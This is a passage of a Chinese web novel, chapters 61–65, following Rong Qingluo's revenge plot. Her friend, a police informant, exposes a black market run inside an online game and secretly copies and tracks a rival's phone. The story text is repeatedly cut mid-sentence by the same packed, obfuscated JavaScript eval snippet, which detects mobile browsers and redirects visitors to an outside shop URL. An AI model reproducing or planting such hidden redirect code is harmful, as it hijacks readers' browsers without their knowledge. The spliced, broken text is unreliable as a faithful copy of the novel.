曾经，在每一个即将坚持不下去的时刻，似乎都是不甘和怒火让她升起重新站起来的勇气。 当一个人被打得偏过脸时，她会感到害怕。 当一个人被打得弯下脊梁时，她会感到屈辱。 当一个人被打得跪下来时，她会感到绝望。 当一个人被打得匍匐在另一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578011|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚下时，不甘会让她生出燎原的怒火，生出勇敢站起来反抗的决心。 反正，最差的结果无非是同归于尽。 现在，似乎又到了这种时刻。 容清洛真的是一刻都等不下去了。 她想快点结束这种暗夜里行走的日子。 她想赶紧让林晶为她的所作所为付出应有的代价。 她想快速让自己的人生回到应行的正轨。 她想让自己激荡的内心安宁清静。 否则，她真的要疯了。 其实，如果当初没有南山森林公园的那场大火，在程景逸的开导和引领下，容清洛本来已经决定放弃复仇。 那时候，她是真的很想很想放下一切仇恨，努力过好自己的人生，去追求自己的理想。 可惜，天不遂人愿。 在那山崖之巅，火光冲天，目睹了一切的她被烧得满身伤痕。 从那一刻起，容清洛知道，她已经回不去了。 叶时冉的父母直到现在都以为自己的女儿死在那个被击毙的绑架犯手中。 他们为女儿的尸骨在山火中付之一炬而悲恸。 却并不知晓，真正的凶手早已逍遥法外。 一个生命的逝去在林晶的生活中没有泛起半点涟漪。 林晶依旧张扬，依旧青春，依旧活着。 有的人却还孤零零地躺在崖底，无人祭奠。 也许林晶认为这是死无对证的事情。 但她容清洛还活着。 林晶的那群狐朋狗友也还活着。 她们都是目击证人。 并且，在南庐市南山森林公园文笔峰的翠屏岩之下，是人迹罕至的丛林。 容清洛相信，林晶根本不会花心思去找一个被其视为贱民的死人尸骨。 因此，叶时冉的尸骨必定还在那里，还在崖下。 所以，时冉，请你在崖底再等一等。 既然老天不收我，没让我成为冤魂。 既然我忍受了有如炼狱之火一般的山火，从烈焰里爬出。 既然我不甘心终日无能地在阴暗的沟渠里游荡。 既然我已经重返人间，披起一张人皮。 那么我就会化作厉鬼，找到这些罪孽深重的人，勾魂收尸。 替你，替我，讨回公道。 61. 长夜独行 一日，林晶有晚上的课。 容清洛和往常一样，装作在隔壁教室自习的学生，时不时地去卫生间上厕所或者去水房打水，经过林晶上课的教室时，便悄悄地观察林晶。 等林晶下课以后，容清洛跟在林晶后面。 林晶没住学校的宿舍，她住在离江大很近的一个小区。 应该是直接买了一套房子。 但今天林晶却没有直接回到住处。 容清洛有些狐疑，但还是远远跟在林晶身后。 林晶来到另一栋教学楼前，她打了个电话，说了两句，便在教学楼旁的小花园里等着。 没过多久，从教学楼里走出一人。 容清洛没想到，这人竟然是上次在机场见到的那个和她面容相似的女生。 这倒是无心插柳柳成荫，意外地再次遇到这个她很在意的人。 见两人似乎在小花园里起了争执，容清洛连忙举起相机，对准二人进行连拍。 那女生似乎挺怕林晶的，林晶打了那个女生几巴掌，那女生没还手，最后哭着离开了。 这两个人究竟是什么关系呢？ 容清洛不知道。 想到和她同样相貌相似的严汀洛，容清洛有种直觉，她的疑问，也许严靖诚能解答。 于是，容清洛连夜将最近收集到的各种有关林家众人的照片整理出来，隔天便到照相馆去洗相片，洗出来后，将所有照片装进一个牛皮纸文件袋里。 那个和她长得很像的女生的照片也在其中，包括这个女生被林晶打的各角度画面。 容清洛这次挑了一个新的寄存柜，在市图书馆。 她躲在暗处许久，看见一个图书馆的清洁工在打扫那片区域时趁着无人取走了信封，这才放心离开。 *** 过了几日，有天晚上，容清洛正在给顾客摊手抓饼。 小吃街上人潮如织。 容清洛把饼装好，递给顾客时，在抬眼的一瞬间，视线意外地穿过街上的人群对上一双熟悉的眼睛。 贺溪君。 也是她以前在福利院最好的朋友，季画。 算算时间，贺溪君如今已经在读大二了。 江大位于大学城，附近有不少高校，所以来这条小吃街的不只是江大的学生。 贺溪君就读的宁大恰好就在这附近。 容清洛以前一直觉得这座城市好大，大到承载着无数人的梦想和失意。 现在她又觉得这座城市好小，小到茫茫人海中，竟然有人真的可以隔着时间与空间不期而遇。 容清洛在刚来宁川市的时候，就有想过会不会偶遇贺溪君。 其实容清洛并不希望遇见她。 她们两个人分别走在黑暗和光明的两端，已经没办法继续同行。 容清洛在做的事情很危险，她并不希望把贺溪君牵扯进来。 没想到在容清洛来到宁川市大半年以后，她还是碰见了贺溪君。 容清洛的目光在贺溪君的脸上停留几秒，之后便默默地垂下头，继续为下一个客人做手抓饼。 “你好，来一份手抓饼。” 柔软婉转的声音响起，容清洛定住。 她缓慢抬头，瞧见贺溪君正站在餐车前。 容清洛把另一个顾客的手抓饼包好，递给那个人，然后如同面对每一个第一次见面的普通顾客一样对贺溪君说道：“好，您稍等。” 此时餐车旁就她们两个人。 容清洛低下头开始为贺溪君做手抓饼，突然听见贺溪君压得低低的声音：“希希。” 容清洛在贺溪君喊她时就愣住了。 她是怎么认出自己的？ 贺溪君小声道：“希希，我知道是你。求你帮个忙，用公用电话打这个纸条上的号码，告诉对方已暴露，紧急撤离。” 贺溪君把叠好的纸币递给容清洛，然后便行色匆匆地离开。 容清洛趁着周围人没注意，连忙将纸币里夹带的纸条塞进外套的暗兜。 她正准备挂上有事离开的牌子时，有几个彪形大汉气势汹汹地走过来。 其中一人拿着一张照片问道：“旁边摊贩有人说看见照片上这个女人刚在你这儿买饼子，那个女的跟你说什么了，她往哪里去了？” 容清洛凑近照片看去。 这似乎是从监控里截的画面，正是贺溪君。 容清洛皱起眉，抬脸时露出一副愤怒的模样。 她把手里的煎饼铲一摔，语气比那人还横，愤愤不平道：“你跟那女的一伙的？那你把钱给我付了，她钱都没给，拿了我一个手抓饼就跑了。” 那人脸色变得难看起来。 容清洛继续道：“诶呦，饿死鬼投胎呀，真是气死我了。我还没反应过来呢，人都没影了。你既然认识她，那你替她把这钱给我吧。我这小本生意，每张饼都是心血呀……” 那人摆摆手，满脸晦气：“去去去，认识什么认识，见过讨债没有？我不找你事便罢，你倒反过来找老子的事，滚蛋。” 几人骂骂咧咧地离开，沿着街继续搜寻着相片上女生的踪迹。 容清洛深知贺溪君这是遇上麻烦了。 她连忙把餐车推进旁边餐馆的院子里。 老板娘恰好看见：“今天这么早收工呀？” 容清洛：“我突然有点腰疼，这几天太累了，实在熬不住，回去买点膏药贴一贴，休息一下。” 老板娘的孩子比容清洛小一些，但是也没小多少，所以对容清洛小小年纪就自己出来谋生活多少有些感触，她叹道：“小姑娘打两份工不容易啊。你还年轻，留得青山在，不怕没柴烧，还是要注意保养身体啊。你赶紧回家吧，你这车就放这儿，你放心，我给你看着呢。” 容清洛：“谢谢姐，那我走了。” 她走出院落，和那几人走向截然相反的方向。 如今学校附近还是有不少公用电话亭的，容清洛很快找到一个投币式电话亭，按照纸条上的号码拨过去。 很快，电话接通，但是对面无人说话。 容清洛能听见对方浅浅的呼吸声，她眼睛注视着电话亭外的动静，压低声音道：“有人托我转告你，你已经暴露，需要紧急撤离，抓紧时间！” 对面传来一声低沉的“收到”，电话紧接着被挂断。 听声音，是个年轻男子。 容清洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578012|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将话筒挂好，迅速走出电话亭，观察身后无人尾随自己，这才放心地离开这片区域。 她心中有很多疑问。 贺溪君为什么会认出她是季希？ 贺溪君是早就知道她在这里所以专门来找她求救，还是路过时碰巧遇见她的？ 电话对面的男子是谁？他和贺溪君究竟惹了什么事情？ 但这一切，暂时没有人能回答她。 容清洛很担心贺溪君，不知道她能不能顺利逃脱。 实在是心绪难宁，容清洛返回小吃街，沿着贺溪君离开的方向寻找，可惜既没看见贺溪君，也没看见那伙人。 她只好回家。 第二日，容清洛照常去咖啡店上班。 下午一点左右，顾客不多，容清洛正忙里偷闲吃着自己带的午饭，门口走进来一个顾客。 是贺溪君。 看见她人没事，容清洛从昨天起心里便一直紧绷着的那根弦这才彻底放松下来。 可紧接着，容清洛的脑海里又生出疑问。 贺溪君是怎么知道她在这里上班的呢？ 许久不见，容清洛发觉，贺溪君变得好神秘。 但是不管怎么样，在容清洛心里，贺溪君一直是儿时那个和她一起在福利院相依为命的好朋友。 容清洛对贺溪君有着天然的信任。 这一点，始终未变。 容清洛快速把剩下几口饭吃完。 她收好饭盒时，贺溪君已经在收银台点好咖啡，找了一张靠窗的桌子坐下。 咖啡做好，另一个同事准备把咖啡端过去，容清洛上前：“姐，我吃好了，您歇一会儿吧，这个我来。” 于是容清洛把咖啡端到贺溪君面前：“您慢用。” 没有打招呼，也没有寒暄，两人有些心照不宣的默契，并没有在咖啡店过多地表现出熟络。 贺溪君从包里拿出一本书阅读。 两个小时很快过去，容清洛下班，走出咖啡店。 贺溪君起身，收拾好背包，也向外走去。 推开店门，她正找着季希的身影，从旁边突然伸出一只拿着冰淇淋的手。 贺溪君扭头瞧见来人，笑起来：“希希。” 容清洛：“画画姐，我现在叫容清洛，容貌的容，澄清的清，洛河的洛。” 贺溪君点头：“我知道的，只是一时没改过口来。” 容清洛把冰淇淋递到贺溪君手里，问道：“你怎么知道的？” 贺溪君吃下一口冰淇淋，唇边露出满足的笑意，她冲容清洛眨眨眼睛道：“我就是知道。” 容清洛无奈地摇摇头，不过也没有多问。 贺溪君：“要不我叫你洛洛吧。” “可以。”容清洛晃了晃另一只手上的冰淇淋，“好吃吗？” “味道不错。”贺溪君看着冰淇淋突然道，“我想起咱俩小时候在冬天一起偷偷吃冰淇淋的事了。” “时间确实过得好快。”停顿几秒，容清洛话锋一转，“画画姐，你今天是专门来找我的？” 贺溪君放缓脚步，斟酌片刻，她郑重地看向容清洛，说道：“是，对昨天的事情，我欠你一个解释。” 62. 寒夜灯明 贺溪君在学校住的是宿舍，四人寝室，并不适合把容清洛带去。 所以容清洛就把贺溪君带到自己住的出租屋。 两人在路上顺便去超市买了点食材和饮品，准备晚上一起涮火锅吃。 容清洛现在住的房子是她自己找的地方，并未经严靖诚的手，她再三检查过，确信这里面没有监听器，是安全的。 贺溪君坐在沙发上，容清洛从购物袋里取出果汁，又从厨房找出两个干净的碗：“忘买一次性杯子了，我这儿没多的杯子，咱俩用碗喝吧。” 贺溪君：“可以啊，我不讲究这些。” 容清洛一边给贺溪君倒果汁，一边道：“画画姐，现在你可以说了，昨天那伙人是什么人？” 贺溪君端起碗：“洛洛，你知道在大学城北街有一家新源网吧吗？” 容清洛摇头。 贺溪君：“那伙人是网吧老板手底下养的一群混混打手。” “打手？那这有点难办啊……”容清洛一口气灌下一大口果汁，把碗放在茶几上后，也盘腿在沙发上坐下，和贺溪君面对面，她追问道，“那你怎么会惹上这群人，昨天你让我电话通知的又是谁，为什么不自己给对方打电话呢……” “你还和以前一样是个急性子，一下子问这么多问题，叫我先回答哪个，一个一个来吧。”贺溪君笑起来，她给容清洛添果汁。 容清洛做洗耳恭听状。 贺溪君指着客厅角落一张书桌上的电脑，问道：“洛洛，你平常玩网游吗？” 容清洛点头：“会玩的。” 她突然想起来，最近因为事情比较多，已经有一段时间没有登录《证道》做任务了。 贺溪君：“那你知道《证道》这款游戏吗？” 容清洛：“知道，我玩的就是《证道》。” 贺溪君：“其实，《证道》不仅仅是一个游戏。” 容清洛不解道：“那《证道》还是什么？” 贺溪君：“这个一时半会说不清楚，在游戏里我给你演示一遍你就知道了。” 闻言，容清洛便把电脑打开，登录游戏。 《证道》是一款仙侠背景的网游。 容清洛在《证道》里的这个号是一名男性剑修。 “等级不低啊。”贺溪君指着地图，“去暗血城。” 容清洛犹豫：“暗血城那里的怪等级太高了，我打不过，而且一般玩家都不太敢去那里。” 贺溪君：“方便让我操作吗？” 容清洛给她让座，又搬了张椅子过来，坐在旁边观战。 贺溪君一边操作娴熟地打怪，一边解释道：“暗血城的怪之所以等级设置得这么高，就是为了降低普通玩家到这边的概率。” 说着，角色在她的操作下已经进入一个空间。 容清洛最开始刚玩这个游戏的时候还是个小白，在地图上到处乱逛，来过一次暗血城，结局当然是被乱杀。 但她记得，暗血城不是这样的：“这怎么跟我来过的暗血城不一样啊……” 贺溪君：“我刚打的是暗血城的一个隐藏副本，通过之后进入了地下，这里才是真正的暗血城。来吧，带你真正认识一下这个游戏。” 角色在她手下七拐八拐，最后走到一扇大门前。 门口守着一个NPC，说道：“宝剑配英雄。” 贺溪君淡定打字。 「打你不要怂。」 容清洛感觉这个场景有点搞笑：“这什么啊？” 贺溪君：“进里面的暗号，也不知道谁定的。这些看起来像NPC，其实背后都有真人的。” 容清洛：“真人？为什么？” 贺溪君：“这实际上是一个倒卖信息的地方。” 容清洛瞠目结舌：“倒卖信息？在游戏里？” “难以置信吧？”贺溪君，“一般人都想不到这一点，所以才让一些人有了钻空子的机会。” 容清洛沉思片刻，突然意识到一个问题：“这是个秘密吧，那咱们就这样堂而皇之地进来，会有危险吗？” 贺溪君：“这倒称不上是秘密，这只是普通玩家无从知晓的信息壁垒而已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578013|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗地里知道这些的大有人在，不然是谁在这里交易信息啊。所以你放心，进来看看没什么。” 容清洛：“那你知道这些人具体是怎么操作的吗？” 贺溪君操纵着角色离开暗血城，退出游戏，才解释道：“在游戏里的这一步只是整个流程中的其中一环。” “买家和卖家在暗血城里碰头以后，重要的信息不会在线上的游戏里面说，而是会打出一串数字。买家将钱打款到卖家账户上以后，卖家会通过送快递或者送外卖的方式把密码本送给买家，买家根据密码本就能知道那串数字所传递出的真正内容。” 容清洛：“还有密码本啊。” 贺溪君：“对呀。不过这些密码本通常是作为附赠的形式出现。” 见容清洛不太理解，贺溪君打个比方道：“比如你在网上买了些化妆品或者护肤品，盒子里面会有一些厚厚的小册子，这些在不知情的人眼中只是没用的东西，但实际上，它就是密码本。” “这样做的目的是为了防止消息泄露。外人即便意外拿到也不会当回事，只有买卖消息的人才知道这其中的深意。” 容清洛：“天呐，好复杂。” 贺溪君：“其实不止这些，我告诉你的只是冰山一角。如今科技日新月异，互联网走进千家万户，很多人从这中间牟利，也借助网络掩盖一些行为，严重危害网络安全。” “大学城那个新源网吧就是他们的一个线下据点。” 容清洛心惊肉跳：“大学城这附近这么乱吗？” “确实是鱼龙混杂，”贺溪君叮嘱道，“所以洛洛，你平时在那附近也要小心一点。” 容清洛点头应下。 突然间她脑子里灵光一闪，小心翼翼道：“画画姐，你昨天让我通知的人该不会是这个吧？” 她做了一个敬礼的手势。 贺溪君没有承认，但是也没有否认。 容清洛进一步猜测：“让他撤离，难道他是卧底？” 想到昨天的情况，她不由得着急问道：“那他最后成功逃走了吗？” 63. 寒夜灯明 贺溪君：“你放心，他没事。” 容清洛：“画画姐，可你是怎么认识他的呀。你只是个学生，怎么也牵扯进来了。” 贺溪君：“他是我哥。” 容清洛惊奇：“你还有个哥哥？” 贺溪君：“姨妈家的表哥。” “虽然我们没有血缘关系，但是他一直对我挺照顾的。” 容清洛：“原来如此。” 贺溪君：“他有任务在身，我只能告诉你，他姓文，也是南庐市的。” “我虽然一直跟着我爸妈，也就是我的养父母，在齐城生活，但有时也会到南庐市走亲戚。” “前几年咱俩不是还在南庐市偶遇过一回吗？当时过年人多，爷爷奶奶家住不下，我和爸妈就住在姨妈家。” 容清洛点头：“我记得这回事。” 她转念一想，又觉得疑惑：“即便他是你表哥，他执行任务，怎么会把你牵扯进来呀？” 贺溪君继续道：“我哥其实也就比我大四五岁，他从江省警官学院毕业以后就来省会宁川市参加工作了。” “我去年刚来宁川市读书，对这边不太熟悉，姨妈就让我哥关照关照我。” “但我除了大一开学时和我哥吃了顿饭以外，就再没见过他。” “我姨妈也总联系不上我哥。她以为是我哥谈女朋友了却瞒着她，就让我替她来刺探一下情况。” “我去我哥家找他，意外发现他受伤了。我要送他去医院，他却怎么都不愿意，我感觉这里面有问题，就悄悄跟踪他，但被他发现了。” “我只好把姨妈交待我的事情告诉哥哥。我哥为了让我知道跟踪他这件事的危险性，只好把他有任务在身告诉我了。但为了保密吧，他语焉不详地说的很含糊，很多都是我猜的。” 容清洛：“那你怎么会去新源网吧呢？” 贺溪君：“别急啊，我还没讲完呢。等我全说完你就明白了。” “我是计算机专业的，电脑啊，互联网啊，网络游戏啊，这些事我熟。我哥有时会问我一些专业问题。我在这方面比较有天赋，他那些问题我都能给他解决。” “我姨夫去世得早，姨妈虽然还有一个女儿，但这个妹妹还在上初中呢，姨妈家里现在就我哥这一个男子汉，我当然不能让我哥出事呀。有人帮他，他会少一些危险。所以后来阴差阳错我就成为他的线人了，之后才了解到其中的内情。” “《证道》里面倒卖情报的暗血城，这就是我哥在内部卧底才打听出来的。这里面弯弯绕绕地夹杂着好些事，我不能和你细说。” “至于我为什么去新源网吧，当然是因为我要去搞破坏。” 容清洛竖起大拇指：“胆子真大。” 贺溪君安抚容清洛：“任务，都是任务。” 她接着又道：“然后意外地发现了一些对我哥不利的文件，我连忙逃出来，但是慌乱之中被发现了，所以你昨天看到有一伙人在追查我。” “昨天我手机关键时刻掉链子，欠费了。” “洛洛，我也是走投无路了，只好向你求助。让你用公用电话，是怕有心人调查，到时候对你不利。” 贺溪君：“对不起，还是把你牵连进来了。” “我没事的。”容清洛握住贺溪君的手，“倒是你怎么办？我昨天看见那伙人手里有你的照片，如果他们一直追着你不放，你会很危险的。” 贺溪君冷笑：“他们自身都难保了，怎会有功夫管我这种小人物。” 她反握住容清洛的手，安慰道：“洛洛，你把心放肚子里就好。” 容清洛疑惑：“为什么这么说？” 为了让容清洛安心，贺溪君只好透露一些实情。 她压低声音道：“昨天夜里，新源网吧已经被查封。过不了多久，《证道》这个游戏也会下线。” 容清洛不由得惊讶：“这么迅速？” 贺溪君：“并不迅速，实际上，警方已经盯着这条线很久了，早该收网了。” 她正色道：“洛洛，你一定要保密。” “我明白的。”容清洛点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578014|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，做了一个给嘴巴拉上拉链的动作。 容清洛看起来神色没什么异样，但她的心绪并不如表面这般平静。 她沉吟良久，还是问道：“画画姐，《证道》的幕后老板是不是林氏集团的总裁林裕？” 贺溪君：“是。” 容清洛抿唇：“那……林裕和林家会受处罚吗？” 贺溪君摇头：“不会，因为林裕和《证道》没有直接关联，林家就更不会被牵扯进来。” 容清洛沉默，陷入沉思。 贺溪君有意给容清洛一些消化这些信息的时间，便道：“要不我们先吃饭吧，边吃边说。” 容清洛起身：“好。” 容清洛租的房子并不大，没有专门的餐桌。 虽然严靖诚给的有资金，但她时刻谨记，她是来复仇，而不是享福的。 她平常吃饭要么在小区附近的小餐馆吃碗面，要么自己简单炒个菜，就在客厅的茶几上吃。 有意地过着苦行僧的日子，以此磨砺自己的心性。 两人煮上火锅的汤底，制好配菜，摆好碗筷，便围坐在茶几边。 吃了几口，容清洛道：“画画姐，你没有什么要问我的吗？” 见贺溪君脸上露出疑惑的神色，容清洛举例：“比如我的脸，我的名字，我为什么来宁川市……” 贺溪君笑起来，她轻缓地拍拍容清洛的肩膀：“你的事情我都知道，不需要问。” 容清洛不可置信：“你都知道？” 贺溪君神秘地眨眨眼睛：“洛洛，你也许不会相信，我远比你更了解你自己。” 容清洛：“真的假的？” 贺溪君见她不信，便问：“你想想，是不是每次重逢，都是我先喊出你的名字，打消你心底的重重顾虑？” 听到这句话，容清洛回忆起曾经。 无论是三年前在书店偶遇，还是这次在小吃街相逢，确实都是贺溪君先叫出她的名字。 就在容清洛沉思时，贺溪君冷不丁问道：“洛洛，你信命吗？” 64. 寒夜灯明 容清洛毫不犹豫道：“信。” 虽然这些年她数次陷入危局，历经坎坷，但最终，她次次绝处逢生。 所以她愿意相信，天无绝人之路，她还是被庇护着的。 即便是暗夜里的路，即便再难捱，在内心深处，她始终坚信着未来是潜藏着希望的。 贺溪君勾起唇：“那你可要记住一句话。” 容清洛：“什么话？” 贺溪君：“守护你，是我的宿命。” 容清洛：“有点感动。” 贺溪君：“我知道你为什么变成现在的模样，我知道你脚下踏上的是什么路。” “你想报仇，对吗？” “我就是来帮你的。” “我可以助你，让林家败落，让罪者伏法。” 容清洛惊讶。 本来她以为画画姐是在开玩笑，可现在，她才确信，原来画画姐真的什么都知道。 贺溪君：“总之，你想做的事，我可以帮你。” 容清洛叹气：“可是现在连《证道》里出现这种倒卖情报的事情，竟然都能让林裕躲过去，我还能怎么办？” 贺溪君：“那是林裕提前和《证道》割席，让他钻了空子。但实际上，《证道》这条线虽然结束了，可一切才刚刚开始。” 容清洛：“什么意思？” 贺溪君：“上面已经开始调查林家了。” 容清洛眼神微亮。 贺溪君：“准确地说，不仅是林家，整个宁川市的黑恶势力，都在被调查当中。” 容清洛：“怎么个调查法？” 贺溪君：“我哥被发现了，所以已经撤离，但他还有其他队友在。” 容清洛一下子明白了这其中的含义：“你是说，林家人身边有警方的卧底？” 贺溪君笑了一下，开始涮肉吃：“我可没说，这是你猜的。” 容清洛撒娇：“画画姐。” 贺溪君为容清洛夹了一大块肉：“总之，这是你的机会。” 两人没再聊这些，好好吃了一会儿饭。 突然，容清洛想起什么，好奇道：“对了画画姐，你怎么对《证道》这个网游这么熟悉？而且操作那么好？” 贺溪君：“我在制作《证道》这款网游的那家游戏公司实习过。” 容清洛：“画画姐，你是计算机专业的，那你对网络这些技术都很熟？我有个事还真需要你帮忙……” *** 翌日，江大校园。 容清洛等在林晶平日下课必经的一条路上。 下着雨，路有点滑。 林晶在前方迎面走来。 今天只有她一个人。 只见她一手拿着伞，一手举着电话放于耳畔，神色带着些不耐。 这时恰好有一辆车从旁边经过，溅起路边的积水。 容清洛连忙躲水花，没注意看路，一个“不小心”就把林晶手里的手机撞掉在地上。 “啊，对不起对不起……”容清洛连忙惊慌失措地将手机捡起。 屏幕碎掉了。 林晶皱眉，翻了一个白眼：“你怎么回事，走路没长眼睛？” 容清洛：“实在抱歉，您这个屏幕摔坏了，我赔给您。我知道学校外面有一家修手机的地方，我现在就去给您换一个，您看行吗？” 林晶盯着容清洛看了足足有半分钟，突然道：“我见过你。” 容清洛的手心顿时有些冒汗。 怎么回事，林晶这种眼高于顶的人竟然记得她？ 林晶笃定道：“你之前在南庐市华章书屋当店员。” 容清洛是真没想到林晶竟然记得她。 可关键她现在的身份是土生土长的宁川市宣水县人。 这就有点难办了。 林晶的话语这么肯定，容清洛肯定没办法反驳，如果反驳的话反倒显得心虚，徒惹林晶怀疑。 这样想着，容清洛只得笑道：“都说贵人多忘事，您可真是好眼力。我也记得您，您以前经常和您的朋友来书店看书。” 林晶挑眉：“哦？你认得我？” 容清洛：“我不知道您的名字，但像您这般漂亮有气质的美女总是让人印象深刻，难以忘怀。” “小嘴倒是挺甜的。”林晶笑得意味不明，眼神里闪过一丝厌恶，“我记得你也是因为你的长相。” “你的这张脸，我可太有印象了。” “你和我非常讨厌的一个人长得很像。” “简直就是一个模子里刻出来的。” 林晶说的这个她很讨厌的人，是那天晚上她打的那个女生吗？ 容清洛的脑子在飞速运转，同时嘴也没停，她对林晶说道：“长相都不是自己能够选择的，没能长一张让您喜欢的脸，我确实感到很抱歉。” “嘴皮子挺厉害。”林晶翻了一个白眼，又问道，“你不是在南庐市吗，怎么到宁川市了？” 容清洛：“您不是也从南庐市到宁川市来了吗？” 见林晶的脾气有爆炸的趋势，容清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578015|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛说道：“来省城打工，机会多一些。” 林晶轻蔑道：“我是来读书上学的，跟你这种打工的人可不一样。” 容清洛：“是，确实，我当然不配和您相提并论。这次不小心撞坏了您的手机，是我的错。您现在时间方便吗？我陪您到学校旁边的手机维修店修一下？” 林晶端详着手机，皱起眉头，半晌才道：“行吧。真麻烦，手机里还有不少重要东西呢。” 容清洛：“实在对不起，您这维修费我全出，希望您消消气。” 林晶：“带路吧。” 江大的后街有很多小摊小贩，容清洛跟一个小哥租了一天摊子，说是想体会一下手机维修挣不挣钱，考虑要不要转行。 因为给的钱多，那小哥就答应了。 于是，贺溪君现在正坐在手机维修的摊子后面，等着人来。 容清洛把林晶带到贺溪君这里：“老板，你看这手机屏幕摔成这样，能修吗？” “又是你啊，手机又坏了？”贺溪君拿起手机仔细观察，点头道，“可以，不过我现在手里有其他的活，你下午来拿吧。” 林晶从钱包里拿出几张钞票：“你现在就修，我在这儿等着，急着要。” 容清洛连忙掏钱，要把林晶付的钱还给她：“说好了我赔您的……” 林晶打断她：“你把你联系方式给我。” 容清洛找了张纸条，在上面写上自己的电话号码。 林晶：“之后我会给你打电话，告诉你怎么赔偿。现在你可以走了。” 容清洛：“那怎么行，我肯定负责到底。” 林晶不耐烦道：“让你走就走，别那么多废话，到时候打电话让你做事的时候别推三阻四就行。” 容清洛和贺溪君对视一眼。 贺溪君递过去一个让她放心的眼神。 容清洛：“那麻烦你了师傅，你可一定要认真把这个手机修好啊。” 然后她便离开了。 等容清洛走后，林晶等了一会儿，冷不丁问道：“你认识林洛吗？” 贺溪君：“啊？你说谁？” 林晶摇摇头：“没什么，我是问你和刚刚那女生很熟吗？” 贺溪君低头修着手机，连头都没抬，随意道：“嗐，也不是很熟，她之前也是碎屏，来我这儿修过一次，抠门得很，和我砍价砍了半天。所以我记得她。” 说着，她的目光从手机上移到林晶的脸上。 贺溪君笑道：“还是小姐您出手大方。” 65. 寒夜灯明 林晶的生活中充满了这样的奉承。 她不置可否地点点头，观察着周围的眼神里掩藏着不露声色的嫌弃。 等了许久，手机终于修好，林晶成功开机。 她打着伞离开，走出这条街的时候，她拨打出一个电话：“哥，我们学校的后街实在是太乱了，好多摊位都无证经营，收费定价也不合要求，找人来修理修理吧，尤其是街口这家修手机的。” 随后，林晶打车去了最近的一个商场，重新买了一款手机，回家把旧手机上的一些重要文件全部转到新手机上。 *** 另一边，贺溪君敲响容清洛家的门。 容清洛打开门，环顾四周，招呼贺溪君道：“快进来。” 贺溪君坐下，先灌下一大杯水，才从包里拿出一个看起来不太新的旧手机道：“打开看看，林晶手机上所有的东西都在里面，没有密码。” 容清洛：“原来你买二手机是这个用途。” 贺溪君：“林晶的警惕心很强，一直盯着我，我也是好不容易才趁机拷贝了一份。我还给她那手机里装了定位系统，你可以通过这个手机知道她手机的定位。” 容清洛这会儿倒顾不上看手机里的内容。 她惊叹道：“画画姐，你就比我大了一岁吧，怎么这么强！果然做什么事还是要有天赋啊……” 闻言，贺溪君道：“说不定我上辈子、上上辈子、上上上辈子都是搞计算机和互联网的，这些东西我以前都学过，所以我现在才上手这么快吧。” 贺溪君把激动地抱着自己的容清洛从身上扒下来：“我待会儿还有课，先走了。你一切小心，有事打电话。” *** 第二天傍晚，容清洛照常来到江大后街。 往常这个时候，很多商贩已经支起摊子，街市必定十分热闹。 可今天…… 容清洛来到停放餐车的餐馆。 老板娘一见到她，立马拉住她想要把餐车推到外面的手：“小姑娘，可别再卖这个手抓饼了。” 容清洛疑惑：“姐，你知道发生什么了吗？为什么今天街道比往常安静好多，而且一个出摊的人都没有。” 老板娘：“今天也不知道为什么，突然来了很多城管来整顿这条街。路边那些摊贩都不让做了。” 